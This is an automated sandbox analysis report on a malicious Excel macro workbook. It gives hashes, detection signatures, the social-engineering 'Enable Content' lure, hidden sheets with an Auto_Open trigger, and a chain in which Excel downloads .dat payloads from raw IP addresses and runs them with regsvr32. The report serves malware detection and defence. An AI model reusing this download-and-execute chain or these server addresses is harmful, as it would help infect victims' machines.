Loading ...

Play interactive tourEdit tour

Windows Analysis Report Permission-1532161794-06252021.xlsm

Overview

General Information

Sample Name:Permission-1532161794-06252021.xlsm
Analysis ID:440649
MD5:bff78ca6421651b824c41ff73cd63a4d
SHA1:8a439fe82292dfb61092daa32af6f0152400f002
SHA256:b4c8a880fae666add98f9a871210d75f7addd4a00a334fb758c791c5ad1d3711
Tags:xlsm
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:64
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Sigma detected: Microsoft Office Product Spawning Windows Shell
Excel documents contains an embedded macro which executes code when the document is opened
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication

Classification

Process Tree

  • System is w10x64
  • EXCEL.EXE (PID: 7008 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • regsvr32.exe (PID: 1012 cmdline: regsvr32 ..\Kro.fis MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 3864 cmdline: regsvr32 ..\Kro.fis1 MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 6476 cmdline: regsvr32 ..\Kro.fis2 MD5: 426E7499F6A7346F0410DEAD0805586B)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

barindex
Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 ..\Kro.fis, CommandLine: regsvr32 ..\Kro.fis, CommandLine|base64offset|contains: ,, Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 7008, ProcessCommandLine: regsvr32 ..\Kro.fis, ProcessId: 1012

Signature Overview

Click to jump to signature section

Show All Signature Results
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (UrlDownloadToFile)Show sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXESection loaded: unknown origin: URLDownloadToFileAJump to behavior
Document exploit detected (process start blacklist hit)Show sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe
Source: global trafficTCP traffic: 192.168.2.4:49740 -> 190.14.37.3:80
Source: global trafficTCP traffic: 192.168.2.4:49737 -> 185.240.103.219:80
Source: global trafficHTTP traffic detected: GET /44372.7722377315.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 190.14.37.3Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44372.7722377315.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.183.99.120Connection: Keep-Alive
Source: unknownTCP traffic detected without corresponding DNS query: 185.240.103.219
Source: unknownTCP traffic detected without corresponding DNS query: 185.240.103.219
Source: unknownTCP traffic detected without corresponding DNS query: 185.240.103.219
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.3
Source: global trafficHTTP traffic detected: GET /44372.7722377315.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 190.14.37.3Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44372.7722377315.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.183.99.120Connection: Keep-Alive
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://api.aadrm.com/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://api.addins.store.office.com/app/query
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://api.cortana.ai
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://api.diagnostics.office.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://api.microsoftstream.com/api/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://api.office.net
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://api.onedrive.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://apis.live.net/v5.0/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://augloop.office.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://augloop.office.com/v2
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://autodiscover-s.outlook.com/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://cdn.entity.
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://clients.config.office.net/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://config.edge.skype.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://cortana.ai
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://cortana.ai/api
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://cr.office.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://dataservice.o365filtering.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://dataservice.o365filtering.com/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://dev.cortana.ai
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://devnull.onenote.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://directory.services.
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://enrichment.osi.office.net/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://graph.ppe.windows.net
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://graph.ppe.windows.net/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://graph.windows.net
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://graph.windows.net/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://incidents.diagnostics.office.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://lifecycle.office.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://login.microsoftonline.com/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://login.windows.local
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://management.azure.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://management.azure.com/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://messaging.office.com/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://ncus.contentsync.
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://ncus.pagecontentsync.
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://officeapps.live.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://onedrive.live.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://onedrive.live.com/embed?
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://osi.office.net
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://outlook.office.com/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://outlook.office365.com/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://pages.store.office.com/review/query
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://powerlift.acompli.net
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://settings.outlook.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://shell.suite.office.com:1443
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://skyapi.live.net/Activity/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://staging.cortana.ai
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://store.office.cn/addinstemplate
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://store.office.com/addinstemplate
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://store.office.de/addinstemplate
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://tasks.office.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://templatelogging.office.com/client/log
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://web.microsoftstream.com/video/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://webshell.suite.office.com
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://wus2.contentsync.
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://wus2.pagecontentsync.
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 70C851F0-DCF3-417E-B449-BD498DB01C08.0.drString found in binary or memory: https://www.odwebp.svc.ms

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
Source: Document image extraction number: 0Screenshot OCR: Enable Editing from the yellow bar above. PROTECTED VIEW Be careful-files from the Internet can
Source: Document image extraction number: 0Screenshot OCR: Enable Content
Source: Screenshot number: 12Screenshot OCR: Enable Editing from the yellow bar above. O (i) PROTECTED VIEW Be careful-files from the Internet
Source: Screenshot number: 12Screenshot OCR: Enable Content O Sheet1 CD Ready O Type here to search i 1 El a a g xg 191 m m I i '00% ^ E
Found Excel 4.0 Macro with suspicious formulasShow sources
Source: Permission-1532161794-06252021.xlsmInitial sample: EXEC
Source: workbook.xmlBinary string: "/><mc:AlternateContent xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"><mc:Choice Requires="x15"><x15ac:absPath url="C:\Users\Admin\Desktop\" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac"/></mc:Choice></mc:AlternateContent><xr:revisionPtr revIDLastSave="0" documentId="13_ncr:1_{89C0748D-BB39-4A32-8068-C0C630B753E6}" xr6:coauthVersionLast="45" xr6:coauthVersionMax="45" xr10:uidLastSave="{00000000-0000-0000-0000-000000000000}"/><bookViews><workbookView xWindow="-120" yWindow="-120" windowWidth="29040" windowHeight="15990" xr2:uid="{00000000-000D-0000-FFFF-FFFF00000000}"/></bookViews><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/><sheet name="Sheet" sheetId="2" state="hidden" r:id="rId2"/><sheet name="Sheet4" sheetId="4" state="hidden" r:id="rId3"/><sheet name="Sheet2" sheetId="3" state="hidden" r:id="rId4"/></sheets><definedNames><definedName hidden="1" name="_xlnm.Auto_Open">Sheet!$G$1</definedName></definedNames><calcPr calcId="191029"/><extLst><ext uri="{140A7094-0E35-4892-8432-C4D2E57EDEB5}" xmlns:x15="http://schemas.microsoft.com/office/spreadsheetml/2010/11/main"><x15:workbookPr chartTrackingRefBase="1"/></ext><ext 